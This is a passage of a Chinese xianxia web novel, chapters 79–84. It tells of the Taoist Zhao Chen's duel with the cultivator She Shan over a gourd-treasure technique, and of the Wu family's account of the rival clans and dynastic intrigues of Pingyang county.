正在这时,正对着赵尘的葫芦嘴处形成一阵正反旋风,外层的旋风不断将外界的灵气吸入葫芦中,维持着葫芦的存在。不但如此,葫芦嘴传来的吸力甚至能吞噬魂魄,若是一个普通人,怕是一瞬间,魂魄便会被吸入葫芦中。便是赵尘,也觉得紫府之中的神魂一阵晃动。 而内层的旋风却截然相反,其不断向外喷吐着物质。 被葫芦喷吐出来的物质只有两种,一种是金色月牙状的好像刀刃一样的东西,刀刃上还有火焰燃烧。这月牙的刀刃锋锐异常。 就赵尘亲眼看见,那金色的月牙落到青石地面,就好像用刀子切入水面一样轻松,每一枚月牙都不过只有一寸长,三分宽,却能切入地面足足有一尺多深。 不仅如此,在月牙落入地面一尺多深,不再往下切割青石后,月牙所蕴含的庞大热量便会散发出来,将青石化作岩浆,最后冷却下来,每一枚月牙的落处,都会形成一个至少深三尺的大坑,大坑的表面呈琉璃状。 第七十九章 禁术 除了金色月牙之外,葫芦中喷出的另一种物质是一阵黑风,和金色月牙一样,这黑风也有两种作用,首先这黑风是一种极其高明的神魂攻击的手段,入眼看去,这黑风不但可以动摇人的心神,引动和放大人的各种负面情绪和心灵弱点,还可以引起心魔,再以内魔引动外魔,使人在不知不觉中身死道消。 其次,这黑风还有一种消磨万物的功效,赵尘便亲眼看见,这黑风从地面刮过之后,这青石地面足足消磨了一尺有余。 看着金色月牙和黑风造成的效果,赵尘不禁脱口而出,赞叹道:“好法术!不,应该说好法宝才对!” 赵尘看来,这法术应该是佘山从一件法宝上参悟出来的。而且从佘山的修为来看,这也不是佘山直接观摩那法宝参悟出来的。最多最多,也就是从以那件法宝仿制的一件法器上,又或者以那件法宝临摹出的观想图上参悟出来的。 便是这样模仿的再模仿的,不知和原来的法宝隔了多少代的,并可以由区区一名金丹期的杂修施展出的,由法宝残缺禁制参悟出的法术,便有这般的威力和玄妙,可见那件法宝的不凡之处。 而这一切玄妙,都在这个葫芦虚影上,若是将这个葫芦虚影烙印下来,不说其它,单是将这几门法术参悟出来,对赵尘来说也算是一个补充。 想到这里,赵尘依旧一甩衣袖,几道流光从袖中飞出,落在周围,彼此勾连,在虚空中泛起一道道玄光,将向自己袭来的金刀和黑风挡住。然后将一道道法诀打到葫芦虚影周围,慢慢将葫芦虚影包裹住,一是切断这个葫芦虚影和佘山的联系,二是将这个葫芦虚影暂时固定住,不让其消散。 将两者完成后,赵尘随手从袖中摸出一块玉石,抛向空中。玉石在空中见风就长,变作一块长一丈,宽、高各五尺的巨型玉石。飞到葫芦虚影的位置,将整颗葫芦虚影吞没。 随后,随着赵尘将一道道法诀打入玉石中,便看见玉石周围不断有玉屑掉落下来。不一会,在原来葫芦虚影的位置,出现了一个大小一样的玉石葫芦。赵尘手一招,葫芦便不断缩小着飞回赵尘手中。 早在赵尘切断葫芦虚影和佘山的联系时,赵尘便看见佘山猛然向远处甩出一道灵光,赵尘抬眼看了一眼,发现灵光中是一只纸鹤。见此,赵尘并没有阻拦,而是任凭纸鹤裹挟着灵光消失在远处。 看见赵尘伸手召回玉葫芦,坐在地上的佘山眉眼含笑的朝赵尘点点头,轻声笑道:“道友果真手段不俗,将来定能在有所成就,我在这祝愿道友早成仙道了。,这枚福禄化三灾葫芦道韵便送给道友,以作赔罪了,可惜我身上身无长物,要不然还可以多陪道友一些东西。” 说罢,佘山便在轻笑间溘然长逝。 见此,赵尘在目瞪口呆之余,又有些无语凝噎,既不知道自己此时是个什么心情,也不知道自己应该是个什么心情。若是带几分调侃的说说佘山在用自己的命碰瓷自己话,感觉有点对其的不尊重,更有一种焚琴煮鹤之感。 可若是说佘山这是道性深厚的话,赵尘感觉自己虽然历经三世,这一生在凡俗之中也是小有成就,但实在理解不了,要是非要闭着眼硬夸的话,又有一种为赋新词强说愁的感觉。 所以,愣了一下之后,赵尘只能楠楠的说了一句:“不过是一场比试罢了,何至于此!”之后,就暂时将注意力转了回来。 赵尘看着自己手中三寸多长的玉石葫芦,左手一翻,取出一张符篆,往葫芦上一贴,随后又从袖中摸出一只盒子,将葫芦放入其中,塞进袖中。 随后,看着盘坐在地上的佘山,只见佘山盘坐在地上,不足一尺半高,身体瘦小干枯,好像枯柴,体内精气神全部枯竭,没有一点剩余,怕是连血液也没有剩下。 正欲抬腿1向佘山走去的赵尘,忽然停下脚步,仔细观察了一番之后,又伸手将一道法力打入佘山体内,确定没有陷阱之后,赵尘苦笑着摇了摇头 随后也没有继续向前走,而是挥袖带起一阵微风。顿时,佘山的肉身便在微风中化成了一片飞灰,洒落一地。这不是赵尘使坏,刚才也确实就是衣袖带起的微风。 “原来如此,以金丹境施展这门法术,消耗竟这么大,竟活活将自己抽干。” 说着,赵尘手指一弹,将一点火苗弹落在地上的衣物之中,将这些衣物也一并化成了飞灰。 看着眼前跳跃的火苗,发现佘山的灵魂早已消失不见,细细观察之下,感受到一丝微不可查,几乎消散殆尽的神力气息:“这是有神灵出手带走了佘山的灵吗?呵,这吴家果然不凡。” 心思转动间,赵尘往城隍庙的方向望了一眼,随即摇了摇头,挥袖间,卷起一道狂风,看着眼前漫天飞舞的飞灰,赵尘轻声道:“尘归尘,土归土吧。” 突然,赵尘自言自语道:“好像哪里不对?对了,这应该不算挫骨扬灰吧!” 说罢,赵尘连忙将狂风按下,尴尬的笑了笑,四处张望了下:“佘山道友,我不是故意的,勿要见怪,勿要见怪,反正你也用不上了。” 话音未落,赵尘便快步向街上赶去。 …… 在赵尘正在街上溜达的时候,在吴府的一间静室中,吴家家主坐在主位,吴离暗侍立在一旁,周围还有几人伺候在一旁。这种静室,若说防御力,只能说还行,但胜在不怕人偷听,也不会有修士和神灵可以悄悄窥伺。 忽然,一位锦衣青年进入了静室。看见锦衣青年,除了吴家家住和吴离暗之外,都躬身见礼道:“见过大公子。”随后吴离暗也见礼道:“大哥。” 青年人对周围人的问好都点头示意,随后对吴离暗回了一礼:“九弟。”随后对吴家家主躬身问安。 第八十章 吴大 吴家家主点了点头,一挥手:“光儿,怎么样。” 青年人姓吴名恒明,是吴家主的长子,也是吴家之一辈的第一人。但是吴家主喜欢喊其“光儿·”。 吴恒明闻言,微微躬身一礼:“父亲,先前店里的人来说,那位赵道长和周公子先后离开院子,那周公子出了院子便去了县衙,去拜访县令去了。至于赵道长,因为怕被发现,所以没敢派人跟踪,” “但想来其一定会去城隍庙,我便让佘山老人去城隍庙附近等着。后来佘山老人果然在城隍庙附近等到了赵道长,随即在离开城隍庙之后伺机试探。” “那赵尘实力如何?”吴家主问道。 “实力可以说极其高深。据佘山老人传回来的消息说,不算他引赵道长去偏僻处的那一手,他和那赵道长只交手了三招。” “三招?” “对,三招,或许算四招。” “到底三招四招,说清楚。”吴家主有些不悦道。 “是。据佘山老人说,他先用素色如意烟护住自己,然后使出了阴阳伏魔箭阵。” 吴离暗闻言惊讶道:“阴阳伏魔箭阵,一开始就用这样的杀招,那赵道长可吃了亏?” “没有,佘山老人只看见赵道长身前一缕五色毫光一闪而过,便轻松破了他的阴阳伏魔箭阵。” “这么厉害!”吴离暗道。 吴光看了父亲一眼:“在施展出箭阵之后,佘山老人紧接着施展了幻魔雷龙。” “大哥,幻魔雷龙,那是佘山老人压箱底的绝学了吧,这就用出来了!” “可这幻魔雷龙却被赵道长轻松破了,可据佘山老人所说,连怎么破的的不知道,便是之前的箭阵被破,那也是看见了一缕毫光,可这雷龙,却完全是莫名其妙。” 听吴恒明这么一说,连吴家主脸上都不在是面无表情了:“这么说来,那赵尘赵道长却真是不普通了。” “那后来呢?” “后来,后来这赵道长便招来一阵星光旋风,绞碎了佘山老人的素色如意烟。同时,佘山老人施展了禁术。” “禁术!” “对,佘山老人看见赵道长莫名其妙的破去了他的幻魔雷龙,便将三太爷爷赐下的符篆点燃了,随即用了禁术。” 这三太爷爷不是说此人在吴家那一辈排第三,而是说这位是吴家第三位登上神道的先祖,且以吴恒明的辈分来算,其是吴恒明太爷爷一辈的,所以吴恒明称其为三太爷爷。 不等父亲和九弟开口,吴恒明接着道:“便是禁术,也被那赵道长轻松挡住,甚至被那赵尘以手段切断了。那佘山见状,便提前传回了消息,其不但将其和赵尘比试的过程做了详细的说明,最后还说其已然预见了自己的结局。” “也就是说那佘山现在在三祖处了?”待吴恒明说完,吴家主脸上闪过一丝诧异,想了想道。 “确实如此,”吴恒明接着说道:“我来之前,已经在祠堂给三太爷爷奉过香火了。三太爷爷也派人来告知了,说这佘山已经是在老祖宗麾下为鬼吏了” “如此也好,佘山老人因为我等的原因,魂归下土,一生苦修都赴了流水,如今在三组麾下效力,对他也算是个交代了。”吴家主点了点头,随即又想了想道:“那佘山的禁术是从家中一幅《福禄化三灾观想图》上参悟出来的吗?” “父亲大人明见,确实如此,”吴恒明点了点头:“对了,佘山老人说,那赵尘刻印了一份福禄化三灾葫芦的道韵道纹。” 吴家主用手指敲击着桌面:“这幅《福禄化三灾观想图》乃是老祖宗依着那三灾葫芦临摹出来的宝贝,哪怕那佘山不过只是一个金丹期的修士,可其从《福禄化三灾观想图》上面参悟出来的禁术也是非同凡响。那位赵道长可以轻松将禁术破去,也是非常了不起的,所以用来实行计划也是绰绰有余的了。” “能让那位周老太师的晚辈追随其修道,这位赵道长自然不是凡人。这周家这些年可是连出来好些人才,这周老太师当年也是个人物呢。”吴离暗笑着在一旁接了一句。 “这样的话,这份道韵道纹便送给那位赵道长,作为其这次出手的酬劳吧。” “咱么这位县令,可是一个狠人呢,当年李、楚二家实在太跳了,最后甚至引的州中侧目,让朝廷将这位朱大人派来了,甚至还进行所谓的‘带兵护送’,顺势来了数万州中禁军,通脉境的精卒,真意境的伍长什长,天象境的百将千将,带队的一位主将和两位偏将也都是先天八重天……” “还有那每百人配备一位点亮心灯境界的神魂道修士,还有十几位凝聚神魂的神魂道修士。派这样的一支精锐护送一位县令上任……”说道这里,吴家主也不禁摇了摇头。 “这些年来,县令对我家的压迫日重,这一次正是天时、地利、人和具在,着实是天意垂青。” 听了吴家主的话,吴恒明兴奋的说道:“这次能有这个机会真是非常不容易,等那位赵道长将县令他家的小衙内救起,以县令的性格,必然会和那城隍起冲突。县令近些年这般苛待我等,若不给他一个报应,怎显得我等的手段,而且也可以给那城隍添些堵,到时候让他们狗咬狗去吧。” “住嘴!” 吴家主一声大喝道:“你怎可这般想,县令如何行事,皆是朝廷法度,怎有你置喙的余地,且城隍何等伟大,岂是你这般小儿可以议论的,我吴家从老祖宗开始,一直到你等,传三十一代,共历时一千三百多年,无不战战兢兢、如履薄冰,才有今日这般光景,你怎敢这般轻浮。” 见吴家主发怒,吴恒明连忙歉声拜道:“孩儿知错了。” 吴离暗也在一旁开口道:“这也不能全怪我等,实是那俞家欺人太甚。这李、楚两家的覆灭,完全是咎由自取,怨不得别人,可这郑、王两家的衰落,完全是俞家一手导引的。” 吴家主看了吴恒明一眼,叹了口气道:“唉……算了,起来吧,等这件事结束,你自己闭门思过三个月,好好磨一下性子。” “是。”吴恒明连忙躬身一礼。 第八十一章 吴俞恩怨 吴家主端起茶杯抿了一口:“光儿、亮儿,你们要记住,我吴家虽传承了一千三百多年,但还不是那些千年世家。其中最大的差距是我吴家没有一位仙道人物或者六品及以上的神灵镇压气运。而没有千年世家的底蕴,能传承一千多年,一步踏错,便是万丈深渊。” “而且,即便是千年世家,若一不小心,身死族灭也只是等闲。便说老祖宗手中的那件三灾葫芦,不就是一个千年世家的镇族之物。当年,那家世家随帝朝建立而建立,历时两千多年,何其兴盛,同样的,气运牵连,因果纠缠之下,也随着帝朝的覆灭而覆灭。” “一千三百多年前,帝朝灭而皇朝起,老祖宗率兵将那世家的家门攻破,得到了那件三灾葫芦。听说那个世家修为最高者乃一位正五品的府城隍,最后不也烟消云散了嘛!” 听吴家主这么说,吴恒明和吴离暗两人也深深的叹了口气,吴家主所说的相关故事,在两人小时候便耳熟能详了。到如今,甚至可以倒背如流, 什么两千年帝朝的兴衰沉浮,吴家随着皇朝的建立而兴起,然后坐看皇朝覆灭,之后又历经两代王朝的兴衰,直到如今的窦氏皇朝。实际上,不止吴恒明两人,每一个吴家嫡系都对这段家史耳熟能详。 看了两人一眼,吴家主又将话题转了回来:“这一千三百年来,这平阳县的县中豪强,足足二三十家烟消云散。若是按整个济州范围来算,便是所谓的郡望、名门,衰败、消散的便有两千家之多,至于再往下的豪强之家,呵呵……” “孙家只是前朝遗孤,做事虽然不越矩,但终究根基浅了点,许多道理不知道,所以才这般出头,” “这俞家几年前借那县令之手,将郑、王两家,削弱的比我家弱,比他家强,就这样将我家给抬了出来,不但吸引朝廷目光,容易引起朝廷打压,而且还消磨我家气数。” “这几年,我家不断试图给那郑、王两家恢复元气,都被俞家给破坏了。便是想要花费一些代价,将一些乡中豪强培养起来,但也都被俞家暗中破坏了,往往代价付出了,收获却一点也没有。” “距十二姑奶奶望气所说,这短短五年间,我吴家气运被削去了将近一成,看起来好像不多,实际上,除去消耗,这一成气运是我家整整两百年积累所得。这将近一成或者说九分的气运,有四分被俞家吞掉了,有三分和县中气运互相消磨掉了,还有两分凭空溢散掉了。” “如今,俞家引我家和县令的气运互相消磨,引起反噬,若不趁机顺天应人,便是小心谨慎,灭族倒是不会,怕是要白干七八百年,”说到这里,吴家主抬头道:“亮儿,待傍晚,你再去拜访一趟赵道长,晚上便在店里休息吧。” “是。” 随后三人便另聊了一些其它事,便各自散开了。 …… 傍晚时分,吃过晚饭,从在外面逛了大半天的赵尘,正百无聊赖的和周嗣在庭中闲聊。 赵尘坐在石桌旁,左手提着已经呈水晶状的五彩斩魔剑,剑尖搭在石桌上的玉盘上。右手持着一小玉瓶,瓶中装着泛着紫色光晕的略显粗糙的金粉一般的东西,将玉瓶口对着剑刃,将瓶中“金粉”缓缓倒在剑刃上,让“金粉”沿着剑刃一路滚下来,最后落在玉盘上。依次将两边剑刃都倒过之后,将剑翻过来,在另一面重新开始。 若是瓶中“金粉”被倒完,赵尘手一招,盘中“金粉”又会全部飞回瓶中。如此回环反复。这泛着紫色光晕的略显粗糙的“金粉”便是雷金了,赵尘一边用雷金磨砺着剑锋。一边问道:“周生,今天你去看朱大人,感觉如何?” “感觉嘛……”周嗣想了想说道:“朱大人为人给我的感觉很刻板、威严、不苟言笑。” “一开始,我送上拜帖,朱大人接见我时,虽然不苟言笑,但给人的感觉却很热情,对后学末进很是关切。随后在闲聊中考察了一番我的学问,很是赞叹。后来,我说我是在随道长学道,大人的脸色却是陡然一变,将我很是严厉的训斥了一番,说什么读书科举才是正途,游侠、法师之辈,皆是桀骜不驯、不服王化之辈云云。” “之后还不停的劝解我,让我早回正途。说什么像我这样的少年人,修道无非两个目的,一是觉得道法玄奇,二是觉得修道长生。可实际上,只要努力读书科举,这一切都有了。到时候主政一方,这威仪何低于神灵、仙人,更不要说那些餐风露宿的道士” “。再往后,为官一任,造福一方,自可以功德封神,那些道士苦苦哀求的长生也就有了。这说的还是正经道士,可实际上大多数道士都是只有一两手小把戏的江湖骗子。所以啊,读书科举才是真正的正途……” 听着周嗣的话,赵尘笑了笑:“这位朱大人说的也对,比如你家门外,那广原道的道城隍,天仙一级的山神为其守门,这是何等的威风,牠便是正统的科举出身。不过换句话说,要是这样算的话,去造反才是最好的坦途,若是能够开辟一方帝朝,那才是真的一步登天呢!” 这般随口调笑了两句,忽然,赵尘心中一动:“周生,你去拜访朱大人,朱大人家中可有什么异常的事情发生?” “异常的事?”周嗣摇了摇头:“这我不清楚,大人没说,我也没问。而且朱大人和我闲聊时,也没有丝毫表现出来。对了,我想起来了,在朱大人府中,我看见了几个婢女和仆从,他们眉间好像有一些忧色。道长,可有什么事吗?” 赵尘闻言点了点头,随即又摇了摇头:“没什么大不了的,到时候你就知道了,大概吧。” 正说话间,忽听见门外有声音传来:“赵道长、周公子,我方便进来吗?” 赵尘闻言,伸手一挥,将宝剑、雷金、玉盘等物件全部收入袖中,起身和周嗣迎到门前,将吴离暗迎了进来:“原来是吴公子,请进请进。” 待三人坐定后,赵尘一挥衣袖,石桌上出现一副茶具,茶壶中已经泡好了一壶热茶,同时还有一盘盘干果点心等出现在石桌上,依次码好:“还不知道吴公子这么晚了,来此何时?” 第八十二章 五家底细(上) “我来我来,”吴离暗连忙阻止赵尘,将茶壶夺了过去,依次为赵尘和周嗣以及自己倒了一杯:“我自小就对那些江湖豪侠、妖鬼狐仙、民俗传奇等非常感兴趣,今日辞别道长之后,实在是非常好奇,心痒难耐,所以这么晚了还来打扰,实在是抱歉了。” 说罢,看着赵尘挥袖变出东西的样子,眼中好奇之色浓的都快流出来了。 “不打扰不打扰。”看着吴离暗的神色,赵尘连忙说道。说罢,赵尘想了想自己这一世从随明尘回宗一直到现在的经历,简单的说了几句,随后,又回忆着宗中前辈书录的自传,拣着六、七件有趣的事情和吴离暗说了说。 一晃半个多时辰过去了,不但吴离暗听的欣然神往,便是周嗣也听的津津有味。说罢,赵尘端起茶水抿了一口。 随着最后一个故事说完,吴离暗感叹道:“道长的经历和见识,真是让人心向往之,这等精彩的事情,果然不是我生活的这种小小县中豪强之家可以经历到的。” 听了吴离暗的感叹,周嗣也颇为认可的点了点头。 “呵呵……”赵尘笑道:“吴公子说笑了,吴家可不是什么普通的县中豪强啊。” 听了赵尘的话,吴离暗不好意思的笑了笑:“家中既没有爵位传承,又没有族人入仕。不过守着几亩薄田和几间铺子过日子而已,不是普通县中豪强又是什么呢?不过是家族经历的时间比较久罢了。” 赵尘笑了笑没说话,随后又问道:“那吴公子,你可以和我说一说孙、吴、郑、王、俞五家所谓的县中豪强吗?” 吴离暗想了想,点头道:“好吧,不过赵道长,你知道什么是县中豪强吗?” 赵尘想了想,宗里面还真没有关于什么是县中豪强的记载,只是大略的提了一遍什么乡绅、豪强、郡望、名门、世家、仙族之类的粗略的大致划分而已,随之摇了摇头,同时看向周嗣。周嗣看见赵尘的目光,也只能无奈的摇了摇头便是不知道。 “因为皇权不下乡,而县中只派遣了数名负责税收的小吏……” 所以一般情况下,都是由几个大族参与乡中的治理,这几个大族便被称为乡绅,主要负责修建桥梁、道路、居养院、慈幼局,指派徭役,处理诉讼,执掌教化,辅助税收等等。 而乡绅之中,又多是由科举及第未仕或落第士子、当地较有文化的中小地主、退休回乡或长期赋闲、居乡养病的中小官吏、宗族元老等组成。当然了,还有那些骤然而起或是几世积累的江湖草莽等。 而乡绅中比较强势的又被称为乡中豪强或乡绅豪强。这些乡中豪强不断壮大,但不可能完全统治一乡,因为朝廷不允许。但是,虽不能完全治理一乡,却可以将治理范围向周围几乡扩散。等到一家乡中豪强可以治理三、五个乡,虽然每个乡都不可能由自己一家完全治理时,乡中豪强的格局便到达了极限。” 而一般的乡中豪强的兴衰非常迅速,兴起的话,快则一、两代人,最多三、五代人便可以,而衰落的话,也只是一两代人的事情。同样的,一家乡中豪强,在五代人之内无法突破成为县中豪强,便没有机会了。 “在家中,有一个成为乡绅最快,维持时间最长,却没有成为县中豪强的记载。”说到这里,吴离暗想了想,举了一个例子。 “说是有一人,不过柴门犬户出生,自幼家境贫寒。不过二十年时间一跃成为一门乡中豪强,在其快晚年时,便已经开始将势力范围扩张到周围三乡之地。在其孙子为家主时,便将家族势力推广到五乡之地,” “之后,在其曾孙、玄孙为家主时其家族势力依然鼎盛,可就是无法成为县中豪强。在其来孙为家主时,家族势力迅速滑落,在其弟孙为家主时,勉强维持住了乡中豪族的体面,但还未等到将家主的位置传到其乃孙的手中时,便完全衰落成连柴门犬户都不如了。” “这不仅是因为朝廷的打压等人为原因,据说还涉及到了冥冥之中,神秘莫测的气运等因素。” 在一家乡中豪强可以治理三个乡的时候,便可以往县中突破了,只要成功,便成为县中豪强了。而县中豪强,便可以谋求对其下所涉及的一个乡甚至所有三、五个乡的完全掌控了,虽然这很难。但同样的,这也是一个标志,只有一个属于自己的完全掌控和治理的乡,才真正在县中站稳脚跟。 “这便是所谓的县中豪族了,至于再往上的什么郡望啊,世家啊什么的,便不多说了。” 赵尘虽不知道乡绅县豪等的具体划分,但赵尘知道,吴离暗在这里有些言过其实了。正如吴离暗所说,只要拥有完整掌控、治理一乡的资格的实力,才能称为县豪。但赵尘知道,这所谓的完整掌控、治理一乡,这其中的差距到底有多大。 一般来说,一乡有三十来集。一千多圩。三万多村。 在每个集,以开一个铺子的方式,驻扎一支几人到十几人的工作队,乡中许多公众事物可以一言而决,,没有同级的,可以掣肘的势力,这可以称为完整掌控、治理一乡。 将势力深入到绝大多数,甚至每一个圩中,乡中也没有可以掣肘的势力,这可以说完整掌控、治理一乡。 将势力深入到绝大多数,甚至每一个村子当中,这也可以说是完整掌控、治理一乡。 对整个乡中的的势力的掌控,宛如赵尘前世、前前世的秦朝和西汉前期一般,可以落实到每个人,这也是对乡中的完整掌控和治理。 通过各种手段,对乡中的掌控不亚于赵尘前前世的近代国家,这也是完整掌控、治理一乡。 可想而知,这完整掌控、治理一乡中的水分有多大。同样的,这所谓的县豪之间的差距有多大。 吴离暗不知道赵尘的·思绪飘飞,而是继续说道:“这郑家和王家还有几年前被灭掉的李家和楚家都是普通的县中豪族。那郑家成为县中豪族不过一百五十年,便是算上成为乡绅的时间,也不到两百年,也就一百八、九十年罢了。至于王家就更短了,成为县中豪族不过才五十年。” 第八十三章 五家底细(下) “至于之前被灭掉的李、楚两家,其中楚家最长,成为县中豪族快两百年了,所以才日渐狂妄自大,不识时务了,最后终于遭了恶果。” “至于李家,时间最短,成为县中豪族还不到三十年,便是算上成为乡绅的时间,也才四十多年。是非常的敢打敢拼,真可谓龙精虎猛、突飞猛进,短短四十多年,成为乡绅,成为豪强,成为县中七大家族之首,结果果然刚过易折,在五年前一头栽倒了,转眼间就身死族灭了。” 赵尘看见,听吴离暗这么一说,连周嗣都一阵唏嘘,暗自摇了摇头:“既然这般勇猛精进,自然要做好一步踏空的准备了。” 随后吴离暗又说道:“之后便是现在所谓的县中五大家族之首的孙家,” 说到这里,吴离暗的声音骤然小了许多,身体微微向赵尘方向倾了一点,一脸的神神秘秘,甚至还额外看了周嗣一眼。 “赵道长,你可知道这儿,在窦氏皇朝之前是个什么朝廷?” 本来,吴离暗是想让赵尘做个捧眼的,但这一问,却是问到了赵尘的知识盲区。 赵尘虽然心中茫然,面上却是不露声色,暗自从周嗣脑海里翻出了答案:“据我所知,这里曾经是公孙王朝的北疆。” “对,众所周知,这窦氏皇朝之前是一家王朝,其王族姓公孙。这济州是原来王朝的最北疆,甚至其只占了济州的一小部,和另一家王朝沿济江将济州一分为二,南北对峙。”吴离暗接过赵尘的话头,继续说道。 “这公孙氏王朝的倒数第五位皇帝宣宗,对了,赵道长,这宣宗皇帝你知道吗?”正说道兴头的吴离暗忽然想到了什么,开口问道。 赵尘虽然依旧从周嗣处翻到了答案,但是推说自己方外之人,对此不甚了解,之后周嗣将这位宣宗皇帝的·故事大致说了一遍。 “也就是宣宗中兴的那个宣宗,史书确实记载其因为无子,所以收养了一个他叔叔的孙子为后。” 说道这里,吴离暗轻笑着摇了摇头。 周嗣见状,好奇道:“这莫非有什么不对吗?” “可实际上,宣却是那宗预感到:王朝虽不是将尽,但也已经进入了中晚期。所以早就开始坐好了准备,” “其将自己前后三个儿子、两个女儿和一大笔财富秘密转移到当时离边疆不远的平阳县。这趟转移,前后进行了二十多年。最后,他在接近晚年的时候,甚至来了一场假死,将皇位甩给了自己的远房侄子,自己逃出升天。” “这位宣宗皇帝,可谓是眼光卓越,手段果决。可就是因为宣宗这番断尾求生,不但让自己侄子背了个大黑锅,还让王朝国祚减少了至少五十年。要不然单凭宣宗那一番中兴,至少王朝还可以维持一百年不止,何至于其侄子即位后,总共只传了三代四位皇帝不到五十年就身死国灭了呢。” “对了,后来着宣宗他那远房曾孙好像发现了什么,在公孙氏灭国前十年左右还寻找过他,可却一无所获。便是窦氏太祖,当年也搜寻过这支传说中的公孙嫡系,也没有收获,后来也就不了了之了。当然了,这些事如今已成为前尘往事,没多少价值了。” “莫非这孙家?” “对,所以早在两百八十年前,孙家就开始逐渐在平阳县的乡下扎根了,直到两百五十多年前,在所谓的孙家家主,也就是那位宣宗皇帝的的带领下,孙氏成为一家县中豪强,” “二十年后,在孙门五杰的带领下,孙家几乎成为一家郡望,随后又过去十几年,传说孙氏冲击郡望失败,实力大损,又退回平阳县中,之后两百多年,孙家的实力起起伏伏,但这都是表面,若是将孙家隐藏的实力翻出来……” 听了吴离暗的话,周嗣几乎是目瞪口呆:“这传说中的宣宗假死、宣宗遗宝竟然是真的?我从小就听这个传说长大的,一直以为只是传说罢了。” “竟然还有传说在世?”这回轮到吴离暗惊讶了,随后又点点头:“沂州城是当年公孙氏的王城,有这样的前朝传说倒也正常。” “呼……”吴离暗深深的吐了口气:“在之后便是我吴家了,我吴家是前前前朝的勋贵,当年虞朝末年……” 忽然,吴离暗又补充解释道:“对了,虞朝皇族不姓虞,而是姓江。虞是国号,也只有传说中的帝朝才有国号。至于王朝和皇朝,其都是以皇族姓氏为国号。” 闻言,赵尘笑着说道:“这一点我却是知道的。”便是周嗣,也在一旁点头。 见此,吴离暗继续说道:“当年虞朝末年,我家老祖宗追随杨太祖南征北战,最后杨太祖建立了皇朝,老祖宗被封为平候,封地便是济州,济南府,平郡。直到皇朝末年,我吴家还有一个平阳伯的爵位。” “杨氏皇朝之后统治济州的是吕氏王朝。我吴家在吕氏王朝时当过一百来年的郡望,但其它时间都只是一个县中豪强罢了。再之后的公孙氏王朝和如今的窦氏皇朝期间,我吴家都是一个普通的县中豪强。” 吴离暗说着自己家族日渐衰弱的故事,语气虽然比较低沉,但赵尘还是听出了丝丝傲然。 “这便是我所知道的县中几家豪强的底细。”最后,吴离暗这样总结道。 闻言,周嗣心中虽然有疑惑,但却没有冒然开口。 看着周嗣心中的想法,赵尘心中暗自笑了笑,随即看向吴离暗:“吴公子,您刚才评说了县中孙、吴、郑、王、甚至李、楚几家豪强,还不知道这俞家是个什么情况呢?” 听见赵尘的话,吴离暗端起茶水抿了一口,歇了口气道:“到不是在下欺瞒道长和公子,只是这俞家我知道的也不多,可谓是县中最神秘的家族了。” 闻言,周嗣好奇道:“最神秘?” 在周嗣看来,这吴家在平阳县扎根千年,传承不断,竟还有人能在其面前落一个“神秘”的评价。 第八十四章 俞系封君 “对,最神秘。”吴离暗点了点头:“在杨氏皇朝期间,我吴家主宰平阳县乃至平郡的六百年里,完全没有注意到这小小的俞家,结果在皇朝末年,被俞家在背后狠狠捅了一刀,元气大伤,直到吕氏王朝建国五十多年后才恢复过来。” “被俞家在背后狠狠捅了一刀,元气大伤?”听吴离暗这么一说,连赵尘都感到惊讶。 周嗣更是脱口而出:“这怎么可能,你家主宰这平阳县六百多年,竟然没有注意到俞家?还有,你家在入主平郡之前,难道不将地方清理一二吗?” “谁说不是呢,”吴离暗苦笑道:“当初老祖宗率军平定济州,当时,济州明面上主宰周围几郡的,是一家随虞朝开朝时便建立的千年世家,待老祖宗平定济州时,这家的祖先已经是济阴府的府城隍了。” “当时,老祖宗平定济州之时,这个家族仗着祖先庇佑,竟然冥顽不灵,负隅顽抗,最后被老祖宗举家剿灭,便是那位府城隍,也被杨太祖打落神位。” 吴离暗说的轻松,周嗣也不知道其中的厉害,但赵尘却是于无声中听惊雷。府城隍乃是正五品神位,主宰一府之地所有生灵的兴衰荣辱。一府之地,单人口便有千亿之数,杨太祖便是以一尊皇朝的开国之主的身份,要打落一位开府建衙的正五品主神的神位,其付出的代价也定然可说一声惨痛。但这也说明了这个家族将杨太祖得罪的有多深。 “随后,在老祖宗受封平郡后,更是将所有和那个家族有一丝关联的家族,全部清扫的干干净净。” “就这样过去了六百年,直到皇朝末年,我家忽然不知怎么和数位反王气运牵连,被卷了进去。还好我家还算有些底蕴,及时醒悟过来,发现了真龙,悬崖勒马。最后要不是付出了极大的代价及早脱身,怕不是就被那吕太祖给顺手剿灭了。” “事后老祖宗仔细检查了一番,才发现我家被人下了黑手。” “随后,老祖宗将之细细梳理了一遍,发现从杨氏皇朝灭国前两百年开始,便有我家弟子和友人在外游玩,忽遇大雨,被别人借予了一把伞之类的欠下了这样、那样的小人情。随后又是各种的机缘巧合,最终莫名其妙的便和许多位反王有了牵连。” “最后,更是因为这样活那样的之前欠下的小人情,越陷越深,将举族都牵连进去了,还被绑的牢牢地,几乎无法脱身。” “发现了事情的缘由,后面就比较清晰明了。老祖宗最后发现,那先导致欠下小人情的事情中,或多或少的都能牵连到俞家子弟的身影,这才有了怀疑的对象。之后仔细查阅资料,才发现了真正的真相。” 说到这里,吴离暗看了赵尘、周嗣一眼:“这事情还要从虞朝建立之前说起,虞朝作为距今最近的一方帝朝,立朝两千三百年。也就是说,这事情,还要从三千五百多年前说起……” 吴离暗端起茶水满饮了一杯,斟酌了一下道:“早在三千五百多年前,当时是正值王朝末年,出生寒门的虞太祖江炅和出生济州郡望的俞渊、俞澄两兄弟是自幼相识的好友。” “俞渊、俞澄虽是出生郡望。所谓郡望,首先要有一点,那便是要世代簪缨。”说道这里,吴离暗忽然补充了一句。 “但俞家却是人丁不旺。除去一些远的不能再远的远亲,至俞渊这一代,便只有俞渊、俞澄两兄弟和一个小妹。俞渊十五岁时便继承家业,二十岁时便将十五岁的妹妹嫁给了时年十七的江炅。江炅的起兵之资也几乎全是由两兄弟资助所得。” “虞太祖江炅二十七岁起兵,俞渊、俞澄两兄弟举家投靠,为其招兵买马。不仅如此,俞渊还是虞太祖江炅的首席谋士,为其出谋划策,而俞澄还是虞太祖的首席武将,为其攻城拔寨。” “那虞太祖江炅也是英明神武之辈,在俞家两兄弟的辅佐之下,二十七岁起兵,三十岁便有一郡之地,三十五岁统一一府,四十五岁便占有一州之地,五十岁一统山南道四洲之地,五十七岁时,时年六十岁的俞渊为其耗尽心血,操劳至死,因为终生未娶,所以也没有留下一个后人。” 